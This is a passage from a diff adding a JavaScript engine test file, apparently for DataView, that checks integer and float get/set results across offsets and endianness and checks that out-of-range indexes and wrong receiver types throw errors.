+ view = new DataView(buffer6_r, 0, 4);
+ assertEq(view.getFloat32(0, false), NaN);
+ var buffer6_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data6_r)));
+ view = new DataView(buffer6_r_pad3, 0, 7);
+ assertEq(view.getFloat32(3, false), NaN);
+ var buffer6_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data6_r)));
+ view = new DataView(buffer6_r_pad7, 0, 11);
+ assertEq(view.getFloat32(7, false), NaN);
+ var buffer6_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data6_r)));
+ view = new DataView(buffer6_r_pad10, 0, 14);
+ assertEq(view.getFloat32(10, false), NaN);
+
+ // testFloatGet expected=10
+ // Little endian
+ var data7 = [0,0,0,0,0,0,36,64];
+ var data7_r = data7.slice().reverse();
+ var buffer7 = bufferize(new Uint8Array(data7));
+ view = new DataView(buffer7, 0, 8);
+ assertEq(view.getFloat64(0, true), 10);
+ var buffer7_pad3 = bufferize(new Uint8Array(Array(3).concat(data7)));
+ view = new DataView(buffer7_pad3, 0, 11);
+ assertEq(view.getFloat64(3, true), 10);
+ var buffer7_pad7 = bufferize(new Uint8Array(Array(7).concat(data7)));
+ view = new DataView(buffer7_pad7, 0, 15);
+ assertEq(view.getFloat64(7, true), 10);
+ var buffer7_pad10 = bufferize(new Uint8Array(Array(10).concat(data7)));
+ view = new DataView(buffer7_pad10, 0, 18);
+ assertEq(view.getFloat64(10, true), 10);
+ // Big endian.
+ var buffer7_r = bufferize(new Uint8Array(data7_r));
+ view = new DataView(buffer7_r, 0, 8);
+ assertEq(view.getFloat64(0, false), 10);
+ var buffer7_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data7_r)));
+ view = new DataView(buffer7_r_pad3, 0, 11);
+ assertEq(view.getFloat64(3, false), 10);
+ var buffer7_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data7_r)));
+ view = new DataView(buffer7_r_pad7, 0, 15);
+ assertEq(view.getFloat64(7, false), 10);
+ var buffer7_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data7_r)));
+ view = new DataView(buffer7_r_pad10, 0, 18);
+ assertEq(view.getFloat64(10, false), 10);
+
+ // testFloatGet expected=1.23
+ // Little endian
+ var data8 = [174,71,225,122,20,174,243,63];
+ var data8_r = data8.slice().reverse();
+ var buffer8 = bufferize(new Uint8Array(data8));
+ view = new DataView(buffer8, 0, 8);
+ assertEq(view.getFloat64(0, true), 1.23);
+ var buffer8_pad3 = bufferize(new Uint8Array(Array(3).concat(data8)));
+ view = new DataView(buffer8_pad3, 0, 11);
+ assertEq(view.getFloat64(3, true), 1.23);
+ var buffer8_pad7 = bufferize(new Uint8Array(Array(7).concat(data8)));
+ view = new DataView(buffer8_pad7, 0, 15);
+ assertEq(view.getFloat64(7, true), 1.23);
+ var buffer8_pad10 = bufferize(new Uint8Array(Array(10).concat(data8)));
+ view = new DataView(buffer8_pad10, 0, 18);
+ assertEq(view.getFloat64(10, true), 1.23);
+ // Big endian.
+ var buffer8_r = bufferize(new Uint8Array(data8_r));
+ view = new DataView(buffer8_r, 0, 8);
+ assertEq(view.getFloat64(0, false), 1.23);
+ var buffer8_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data8_r)));
+ view = new DataView(buffer8_r_pad3, 0, 11);
+ assertEq(view.getFloat64(3, false), 1.23);
+ var buffer8_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data8_r)));
+ view = new DataView(buffer8_r_pad7, 0, 15);
+ assertEq(view.getFloat64(7, false), 1.23);
+ var buffer8_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data8_r)));
+ view = new DataView(buffer8_r_pad10, 0, 18);
+ assertEq(view.getFloat64(10, false), 1.23);
+
+ // testFloatGet expected=-6213576.4839
+ // Little endian
+ var data9 = [181,55,248,30,242,179,87,193];
+ var data9_r = data9.slice().reverse();
+ var buffer9 = bufferize(new Uint8Array(data9));
+ view = new DataView(buffer9, 0, 8);
+ assertEq(view.getFloat64(0, true), -6213576.4839);
+ var buffer9_pad3 = bufferize(new Uint8Array(Array(3).concat(data9)));
+ view = new DataView(buffer9_pad3, 0, 11);
+ assertEq(view.getFloat64(3, true), -6213576.4839);
+ var buffer9_pad7 = bufferize(new Uint8Array(Array(7).concat(data9)));
+ view = new DataView(buffer9_pad7, 0, 15);
+ assertEq(view.getFloat64(7, true), -6213576.4839);
+ var buffer9_pad10 = bufferize(new Uint8Array(Array(10).concat(data9)));
+ view = new DataView(buffer9_pad10, 0, 18);
+ assertEq(view.getFloat64(10, true), -6213576.4839);
+ // Big endian.
+ var buffer9_r = bufferize(new Uint8Array(data9_r));
+ view = new DataView(buffer9_r, 0, 8);
+ assertEq(view.getFloat64(0, false), -6213576.4839);
+ var buffer9_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data9_r)));
+ view = new DataView(buffer9_r_pad3, 0, 11);
+ assertEq(view.getFloat64(3, false), -6213576.4839);
+ var buffer9_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data9_r)));
+ view = new DataView(buffer9_r_pad7, 0, 15);
+ assertEq(view.getFloat64(7, false), -6213576.4839);
+ var buffer9_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data9_r)));
+ view = new DataView(buffer9_r_pad10, 0, 18);
+ assertEq(view.getFloat64(10, false), -6213576.4839);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ var data10 = [255,255,255,255,255,255,255,127];
+ var data10_r = data10.slice().reverse();
+ var buffer10 = bufferize(new Uint8Array(data10));
+ view = new DataView(buffer10, 0, 8);
+ assertEq(view.getFloat64(0, true), NaN);
+ var buffer10_pad3 = bufferize(new Uint8Array(Array(3).concat(data10)));
+ view = new DataView(buffer10_pad3, 0, 11);
+ assertEq(view.getFloat64(3, true), NaN);
+ var buffer10_pad7 = bufferize(new Uint8Array(Array(7).concat(data10)));
+ view = new DataView(buffer10_pad7, 0, 15);
+ assertEq(view.getFloat64(7, true), NaN);
+ var buffer10_pad10 = bufferize(new Uint8Array(Array(10).concat(data10)));
+ view = new DataView(buffer10_pad10, 0, 18);
+ assertEq(view.getFloat64(10, true), NaN);
+ // Big endian.
+ var buffer10_r = bufferize(new Uint8Array(data10_r));
+ view = new DataView(buffer10_r, 0, 8);
+ assertEq(view.getFloat64(0, false), NaN);
+ var buffer10_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data10_r)));
+ view = new DataView(buffer10_r_pad3, 0, 11);
+ assertEq(view.getFloat64(3, false), NaN);
+ var buffer10_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data10_r)));
+ view = new DataView(buffer10_r_pad7, 0, 15);
+ assertEq(view.getFloat64(7, false), NaN);
+ var buffer10_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data10_r)));
+ view = new DataView(buffer10_r_pad10, 0, 18);
+ assertEq(view.getFloat64(10, false), NaN);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ var data11 = [255,255,255,255,255,255,255,255];
+ var data11_r = data11.slice().reverse();
+ var buffer11 = bufferize(new Uint8Array(data11));
+ view = new DataView(buffer11, 0, 8);
+ assertEq(view.getFloat64(0, true), NaN);
+ var buffer11_pad3 = bufferize(new Uint8Array(Array(3).concat(data11)));
+ view = new DataView(buffer11_pad3, 0, 11);
+ assertEq(view.getFloat64(3, true), NaN);
+ var buffer11_pad7 = bufferize(new Uint8Array(Array(7).concat(data11)));
+ view = new DataView(buffer11_pad7, 0, 15);
+ assertEq(view.getFloat64(7, true), NaN);
+ var buffer11_pad10 = bufferize(new Uint8Array(Array(10).concat(data11)));
+ view = new DataView(buffer11_pad10, 0, 18);
+ assertEq(view.getFloat64(10, true), NaN);
+ // Big endian.
+ var buffer11_r = bufferize(new Uint8Array(data11_r));
+ view = new DataView(buffer11_r, 0, 8);
+ assertEq(view.getFloat64(0, false), NaN);
+ var buffer11_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data11_r)));
+ view = new DataView(buffer11_r_pad3, 0, 11);
+ assertEq(view.getFloat64(3, false), NaN);
+ var buffer11_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data11_r)));
+ view = new DataView(buffer11_r_pad7, 0, 15);
+ assertEq(view.getFloat64(7, false), NaN);
+ var buffer11_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data11_r)));
+ view = new DataView(buffer11_r_pad10, 0, 18);
+ assertEq(view.getFloat64(10, false), NaN);
+
+ // testIntegerGets(start=3, length=2)
+ var data12 = [31,32,33,0,1,2,3,100,101,102,103,128,129,130,131,252,253,254,255];
+ var data12_r = data12.slice().reverse();
+ var buffer12 = bufferize(new Uint8Array(data12));
+ view = new DataView(buffer12, 3, 2);
+ assertEq(view.getInt8(0), 0);
+ checkThrow(() => view.getInt8(8), RangeError);
+ checkThrow(() => view.getInt8(15), RangeError);
+ assertEq(view.getUint8(0), 0);
+ checkThrow(() => view.getUint8(8), RangeError);
+ checkThrow(() => view.getUint8(15), RangeError);
+ // Little endian.
+ assertEq(view.getInt16(0, true), 256);
+ checkThrow(() => view.getInt16(5, true), RangeError);
+ checkThrow(() => view.getInt16(9, true), RangeError);
+ checkThrow(() => view.getInt16(14, true), RangeError);
+ // Big endian.
+ assertEq(view.getInt16(0), 1);
+ checkThrow(() => view.getInt16(5), RangeError);
+ checkThrow(() => view.getInt16(9), RangeError);
+ checkThrow(() => view.getInt16(14), RangeError);
+ // Little endian.
+ assertEq(view.getUint16(0, true), 256);
+ checkThrow(() => view.getUint16(5, true), RangeError);
+ checkThrow(() => view.getUint16(9, true), RangeError);
+ checkThrow(() => view.getUint16(14, true), RangeError);
+ // Big endian.
+ assertEq(view.getUint16(0), 1);
+ checkThrow(() => view.getUint16(5), RangeError);
+ checkThrow(() => view.getUint16(9), RangeError);
+ checkThrow(() => view.getUint16(14), RangeError);
+ // Little endian.
+ checkThrow(() => view.getInt32(0, true), RangeError);
+ checkThrow(() => view.getInt32(3, true), RangeError);
+ checkThrow(() => view.getInt32(6, true), RangeError);
+ checkThrow(() => view.getInt32(9, true), RangeError);
+ checkThrow(() => view.getInt32(12, true), RangeError);
+ // Big endian.
+ checkThrow(() => view.getInt32(0), RangeError);
+ checkThrow(() => view.getInt32(3), RangeError);
+ checkThrow(() => view.getInt32(6), RangeError);
+ checkThrow(() => view.getInt32(9), RangeError);
+ checkThrow(() => view.getInt32(12), RangeError);
+ // Little endian.
+ checkThrow(() => view.getUint32(0, true), RangeError);
+ checkThrow(() => view.getUint32(3, true), RangeError);
+ checkThrow(() => view.getUint32(6, true), RangeError);
+ checkThrow(() => view.getUint32(9, true), RangeError);
+ checkThrow(() => view.getUint32(12, true), RangeError);
+ // Big endian.
+ checkThrow(() => view.getUint32(0), RangeError);
+ checkThrow(() => view.getUint32(3), RangeError);
+ checkThrow(() => view.getUint32(6), RangeError);
+ checkThrow(() => view.getUint32(9), RangeError);
+ checkThrow(() => view.getUint32(12), RangeError);
+
+ // testFloatGets(start=3)
+
+ // testFloatGet expected=10
+ // Little endian
+ view = new DataView(buffer2, 3, 1);
+ checkThrow(() => view.getFloat32(0, true), RangeError);
+ view = new DataView(buffer2_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, true), RangeError);
+ view = new DataView(buffer2_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, true), RangeError);
+ view = new DataView(buffer2_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer2_r, 3, 1);
+ checkThrow(() => view.getFloat32(0, false), RangeError);
+ view = new DataView(buffer2_r_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, false), RangeError);
+ view = new DataView(buffer2_r_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, false), RangeError);
+ view = new DataView(buffer2_r_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, false), RangeError);
+
+ // testFloatGet expected=1.2300000190734863
+ // Little endian
+ view = new DataView(buffer3, 3, 1);
+ checkThrow(() => view.getFloat32(0, true), RangeError);
+ view = new DataView(buffer3_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, true), RangeError);
+ view = new DataView(buffer3_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, true), RangeError);
+ view = new DataView(buffer3_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer3_r, 3, 1);
+ checkThrow(() => view.getFloat32(0, false), RangeError);
+ view = new DataView(buffer3_r_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, false), RangeError);
+ view = new DataView(buffer3_r_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, false), RangeError);
+ view = new DataView(buffer3_r_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, false), RangeError);
+
+ // testFloatGet expected=-45621.37109375
+ // Little endian
+ view = new DataView(buffer4, 3, 1);
+ checkThrow(() => view.getFloat32(0, true), RangeError);
+ view = new DataView(buffer4_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, true), RangeError);
+ view = new DataView(buffer4_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, true), RangeError);
+ view = new DataView(buffer4_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer4_r, 3, 1);
+ checkThrow(() => view.getFloat32(0, false), RangeError);
+ view = new DataView(buffer4_r_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, false), RangeError);
+ view = new DataView(buffer4_r_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, false), RangeError);
+ view = new DataView(buffer4_r_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, false), RangeError);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ view = new DataView(buffer5, 3, 1);
+ checkThrow(() => view.getFloat32(0, true), RangeError);
+ view = new DataView(buffer5_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, true), RangeError);
+ view = new DataView(buffer5_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, true), RangeError);
+ view = new DataView(buffer5_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer5_r, 3, 1);
+ checkThrow(() => view.getFloat32(0, false), RangeError);
+ view = new DataView(buffer5_r_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, false), RangeError);
+ view = new DataView(buffer5_r_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, false), RangeError);
+ view = new DataView(buffer5_r_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, false), RangeError);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ view = new DataView(buffer6, 3, 1);
+ checkThrow(() => view.getFloat32(0, true), RangeError);
+ view = new DataView(buffer6_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, true), RangeError);
+ view = new DataView(buffer6_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, true), RangeError);
+ view = new DataView(buffer6_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer6_r, 3, 1);
+ checkThrow(() => view.getFloat32(0, false), RangeError);
+ view = new DataView(buffer6_r_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, false), RangeError);
+ view = new DataView(buffer6_r_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, false), RangeError);
+ view = new DataView(buffer6_r_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, false), RangeError);
+
+ // testFloatGet expected=10
+ // Little endian
+ view = new DataView(buffer7, 3, 5);
+ checkThrow(() => view.getFloat64(0, true), RangeError);
+ view = new DataView(buffer7_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, true), RangeError);
+ view = new DataView(buffer7_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, true), RangeError);
+ view = new DataView(buffer7_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer7_r, 3, 5);
+ checkThrow(() => view.getFloat64(0, false), RangeError);
+ view = new DataView(buffer7_r_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, false), RangeError);
+ view = new DataView(buffer7_r_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, false), RangeError);
+ view = new DataView(buffer7_r_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, false), RangeError);
+
+ // testFloatGet expected=1.23
+ // Little endian
+ view = new DataView(buffer8, 3, 5);
+ checkThrow(() => view.getFloat64(0, true), RangeError);
+ view = new DataView(buffer8_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, true), RangeError);
+ view = new DataView(buffer8_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, true), RangeError);
+ view = new DataView(buffer8_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer8_r, 3, 5);
+ checkThrow(() => view.getFloat64(0, false), RangeError);
+ view = new DataView(buffer8_r_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, false), RangeError);
+ view = new DataView(buffer8_r_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, false), RangeError);
+ view = new DataView(buffer8_r_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, false), RangeError);
+
+ // testFloatGet expected=-6213576.4839
+ // Little endian
+ view = new DataView(buffer9, 3, 5);
+ checkThrow(() => view.getFloat64(0, true), RangeError);
+ view = new DataView(buffer9_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, true), RangeError);
+ view = new DataView(buffer9_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, true), RangeError);
+ view = new DataView(buffer9_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer9_r, 3, 5);
+ checkThrow(() => view.getFloat64(0, false), RangeError);
+ view = new DataView(buffer9_r_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, false), RangeError);
+ view = new DataView(buffer9_r_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, false), RangeError);
+ view = new DataView(buffer9_r_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, false), RangeError);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ view = new DataView(buffer10, 3, 5);
+ checkThrow(() => view.getFloat64(0, true), RangeError);
+ view = new DataView(buffer10_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, true), RangeError);
+ view = new DataView(buffer10_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, true), RangeError);
+ view = new DataView(buffer10_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer10_r, 3, 5);
+ checkThrow(() => view.getFloat64(0, false), RangeError);
+ view = new DataView(buffer10_r_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, false), RangeError);
+ view = new DataView(buffer10_r_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, false), RangeError);
+ view = new DataView(buffer10_r_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, false), RangeError);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ view = new DataView(buffer11, 3, 5);
+ checkThrow(() => view.getFloat64(0, true), RangeError);
+ view = new DataView(buffer11_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, true), RangeError);
+ view = new DataView(buffer11_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, true), RangeError);
+ view = new DataView(buffer11_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer11_r, 3, 5);
+ checkThrow(() => view.getFloat64(0, false), RangeError);
+ view = new DataView(buffer11_r_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, false), RangeError);
+ view = new DataView(buffer11_r_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, false), RangeError);
+ view = new DataView(buffer11_r_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, false), RangeError);
+
+ // testGetNegativeIndexes
+ view = new DataView(buffer1, 0, 16);
+ checkThrow(() => view.getInt8(-1), RangeError);
+ checkThrow(() => view.getInt8(-2), RangeError);
+ checkThrow(() => view.getUint8(-1), RangeError);
+ checkThrow(() => view.getUint8(-2), RangeError);
+ checkThrow(() => view.getInt16(-1), RangeError);
+ checkThrow(() => view.getInt16(-2), RangeError);
+ checkThrow(() => view.getInt16(-3), RangeError);
+ checkThrow(() => view.getUint16(-1), RangeError);
+ checkThrow(() => view.getUint16(-2), RangeError);
+ checkThrow(() => view.getUint16(-3), RangeError);
+ checkThrow(() => view.getInt32(-1), RangeError);
+ checkThrow(() => view.getInt32(-3), RangeError);
+ checkThrow(() => view.getInt32(-5), RangeError);
+ checkThrow(() => view.getUint32(-1), RangeError);
+ checkThrow(() => view.getUint32(-3), RangeError);
+ checkThrow(() => view.getUint32(-5), RangeError);
+ view = new DataView(buffer7, 0, 8);
+ checkThrow(() => view.getFloat32(-1), RangeError);
+ checkThrow(() => view.getFloat32(-3), RangeError);
+ checkThrow(() => view.getFloat32(-5), RangeError);
+ checkThrow(() => view.getFloat64(-1), RangeError);
+ checkThrow(() => view.getFloat64(-5), RangeError);
+ checkThrow(() => view.getFloat64(-9), RangeError);
+
+ // Too large for signed 32 bit integer index
+ checkThrow(() => view.getInt8(2147483648), RangeError);
+ checkThrow(() => view.getInt8(2147483649), RangeError);
+ checkThrow(() => view.getUint8(2147483648), RangeError);
+ checkThrow(() => view.getUint8(2147483649), RangeError);
+ checkThrow(() => view.getInt16(2147483648), RangeError);
+ checkThrow(() => view.getInt16(2147483649), RangeError);
+ checkThrow(() => view.getUint16(2147483648), RangeError);
+ checkThrow(() => view.getUint16(2147483649), RangeError);
+ checkThrow(() => view.getInt32(2147483648), RangeError);
+ checkThrow(() => view.getInt32(2147483649), RangeError);
+ checkThrow(() => view.getUint32(2147483648), RangeError);
+ checkThrow(() => view.getUint32(2147483649), RangeError);
+ checkThrow(() => view.getFloat32(2147483648), RangeError);
+ checkThrow(() => view.getFloat32(2147483649), RangeError);
+ checkThrow(() => view.getFloat64(2147483648), RangeError);
+ checkThrow(() => view.getFloat64(2147483649), RangeError);
+
+ // Test for wrong type of |this|
+ checkThrow(() => view.getInt8.apply("dead", [0]), TypeError);
+ checkThrow(() => view.getUint8.apply("puppies", [0]), TypeError);
+ checkThrow(() => view.getInt16.apply("aren", [0]), TypeError);
+ checkThrow(() => view.getUint16.apply("t", [0]), TypeError);
+ checkThrow(() => view.getInt32.apply("much", [0]), TypeError);
+ checkThrow(() => view.getUint32.apply("fun", [0]), TypeError);
+ checkThrow(() => view.getFloat32.apply("(in", [0]), TypeError);
+ checkThrow(() => view.getFloat64.apply("bed)", [0]), TypeError);
+ checkThrow(() => view.setInt8.apply("dead", [0, 0]), TypeError);
+ checkThrow(() => view.setUint8.apply("puppies", [0, 0]), TypeError);
+ checkThrow(() => view.setInt16.apply("aren", [0, 0]), TypeError);
+ checkThrow(() => view.setUint16.apply("t", [0, 0]), TypeError);
+ checkThrow(() => view.setInt32.apply("much", [0, 0]), TypeError);
+ checkThrow(() => view.setUint32.apply("fun", [0, 0]), TypeError);
+ checkThrow(() => view.setFloat32.apply("(in", [0, 0]), TypeError);
+ checkThrow(() => view.setFloat64.apply("bed)", [0, 0]), TypeError);
+
+ // testSetMethods
+
+ // Test for set methods that work
+
+ // testIntegerSets(start=0, length=16)
+ var data13 = [204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204];
+ var data13_r = data13.slice().reverse();
+ var buffer13 = bufferize(new Uint8Array(data13));
+ view = new DataView(buffer13, 0, 16);
+ view.setInt8(0, 0);
+ assertEq(view.getInt8(0), 0);
+ view.setInt8(8, -128);
+ assertEq(view.getInt8(8), -128);
+ view.setInt8(15, -1);
+ assertEq(view.getInt8(15), -1);
+ view.setUint8(0, 0);
+ assertEq(view.getUint8(0), 0);
+ view.setUint8(8, 128);
+ assertEq(view.getUint8(8), 128);
+ view.setUint8(15, 255);
+ assertEq(view.getUint8(15), 255);
+ view.setInt16(0, 256, true);
+ assertEq(view.getInt16(0, true), 256);
+ view.setInt16(5, 26213, true);
+ assertEq(view.getInt16(5, true), 26213);
+ view.setInt16(9, -32127, true);
+ assertEq(view.getInt16(9, true), -32127);
+ view.setInt16(14, -2, true);
+ assertEq(view.getInt16(14, true), -2);
+ view.setInt16(0, 1);
+ assertEq(view.getInt16(0), 1);
+ view.setInt16(5, 25958);
+ assertEq(view.getInt16(5), 25958);
+ view.setInt16(9, -32382);
+ assertEq(view.getInt16(9), -32382);
+ view.setInt16(14, -257);
+ assertEq(view.getInt16(14), -257);
+ view.setUint16(0, 256, true);
+ assertEq(view.getUint16(0, true), 256);
+ view.setUint16(5, 26213, true);
+ assertEq(view.getUint16(5, true), 26213);
+ view.setUint16(9, 33409, true);
+ assertEq(view.getUint16(9, true), 33409);
+ view.setUint16(14, 65534, true);
+ assertEq(view.getUint16(14, true), 65534);
+ view.setUint16(0, 1);
+ assertEq(view.getUint16(0), 1);
+ view.setUint16(5, 25958);
+ assertEq(view.getUint16(5), 25958);
+ view.setUint16(9, 33154);
+ assertEq(view.getUint16(9), 33154);
+ view.setUint16(14, 65279);
+ assertEq(view.getUint16(14), 65279);
+ view.setInt32(0, 50462976, true);
+ assertEq(view.getInt32(0, true), 50462976);
+ view.setInt32(3, 1717920771, true);
+ assertEq(view.getInt32(3, true), 1717920771);
+ view.setInt32(6, -2122291354, true);
+ assertEq(view.getInt32(6, true), -2122291354);
+ view.setInt32(9, -58490239, true);
+ assertEq(view.getInt32(9, true), -58490239);
+ view.setInt32(12, -66052, true);
+ assertEq(view.getInt32(12, true), -66052);
+ view.setInt32(0, 66051);
+ assertEq(view.getInt32(0), 66051);
+ view.setInt32(3, 56911206);
+ assertEq(view.getInt32(3), 56911206);
+ view.setInt32(6, 1718059137);
+ assertEq(view.getInt32(6), 1718059137);
+ view.setInt32(9, -2122152964);
+ assertEq(view.getInt32(9), -2122152964);
+ view.setInt32(12, -50462977);
+ assertEq(view.getInt32(12), -50462977);
+ view.setUint32(0, 50462976, true);
+ assertEq(view.getUint32(0, true), 50462976);
+ view.setUint32(3, 1717920771, true);
+ assertEq(view.getUint32(3, true), 1717920771);
+ view.setUint32(6, 2172675942, true);
+ assertEq(view.getUint32(6, true), 2172675942);
+ view.setUint32(9, 4236477057, true);
+ assertEq(view.getUint32(9, true), 4236477057);
+ view.setUint32(12, 4294901244, true);
+ assertEq(view.getUint32(12, true), 4294901244);
+ view.setUint32(0, 66051);
+ assertEq(view.getUint32(0), 66051);
+ view.setUint32(3, 56911206);
+ assertEq(view.getUint32(3), 56911206);
+ view.setUint32(6, 1718059137);
+ assertEq(view.getUint32(6), 1718059137);
+ view.setUint32(9, 2172814332);
+ assertEq(view.getUint32(9), 2172814332);
+ view.setUint32(12, 4244504319);
+ assertEq(view.getUint32(12), 4244504319);
+
+ // testFloatSets(start=undefined)
+
+ // testFloatSet expected=10
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat32(0, 10, true);
+ assertEq(view.getFloat32(0, true), 10);
+ var buffer13_pad3 = bufferize(new Uint8Array(Array(3).concat(data13)));
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat32(3, 10, true);
+ assertEq(view.getFloat32(3, true), 10);
+ var buffer13_pad7 = bufferize(new Uint8Array(Array(7).concat(data13)));
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat32(7, 10, true);
+ assertEq(view.getFloat32(7, true), 10);
+ var buffer13_pad10 = bufferize(new Uint8Array(Array(10).concat(data13)));
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat32(10, 10, true);
+ assertEq(view.getFloat32(10, true), 10);
+ // Big endian.
+ var buffer13_r = bufferize(new Uint8Array(data13_r));
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat32(0, 10, false);
+ assertEq(view.getFloat32(0, false), 10);
+ var buffer13_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data13_r)));
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat32(3, 10, false);
+ assertEq(view.getFloat32(3, false), 10);
+ var buffer13_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data13_r)));
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat32(7, 10, false);
+ assertEq(view.getFloat32(7, false), 10);
+ var buffer13_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data13_r)));
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat32(10, 10, false);
+ assertEq(view.getFloat32(10, false), 10);
+
+ // testFloatSet expected=1.2300000190734863
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat32(0, 1.2300000190734863, true);
+ assertEq(view.getFloat32(0, true), 1.2300000190734863);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat32(3, 1.2300000190734863, true);
+ assertEq(view.getFloat32(3, true), 1.2300000190734863);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat32(7, 1.2300000190734863, true);
+ assertEq(view.getFloat32(7, true), 1.2300000190734863);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat32(10, 1.2300000190734863, true);
+ assertEq(view.getFloat32(10, true), 1.2300000190734863);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat32(0, 1.2300000190734863, false);
+ assertEq(view.getFloat32(0, false), 1.2300000190734863);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat32(3, 1.2300000190734863, false);
+ assertEq(view.getFloat32(3, false), 1.2300000190734863);
+ view = new DataView(buffer13_r_pad7, 0, 23);
